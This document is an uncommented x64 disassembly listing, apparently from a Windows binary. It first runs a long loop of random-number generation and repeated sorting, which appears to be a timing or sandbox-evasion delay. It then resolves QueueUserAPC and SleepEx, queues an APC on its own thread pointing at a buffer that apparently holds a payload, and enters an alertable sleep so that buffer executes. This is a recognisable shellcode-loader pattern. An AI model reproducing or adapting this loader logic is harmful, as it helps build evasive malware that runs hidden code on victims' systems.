mov dword [rbp + 0x7c4], 0
jmp 0x140002a3f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x30b
jle 0x1400029b8
mov dword [rbp + 0x7c4], 0
jmp 0x140002b43
cmp dword [rbp + 0x7c4], 0
je 0x140002aa8
mov eax, dword [rbp + 0x7c4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002ab4
add dword [rbp + 0x7c4], 1
jmp 0x140002b43
mov eax, dword [rbp + 0x7c4]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x614], xmm0
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rdx, rax
mov eax, dword [rbp + 0x7c4]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x7c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rbp + 0x614]
movss dword [rax], xmm0
sub dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x30b
jle 0x140002a5e
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x7f0], 0x3f
jne 0x140002b77
mov dword [rbp + 0x7f0], 0
jmp 0x140002b7e
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x4d5
jle 0x14000295a
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x628]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x620]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x840]
add rsp, 0x8d0
pop rsi
pop rdi
pop rbp
ret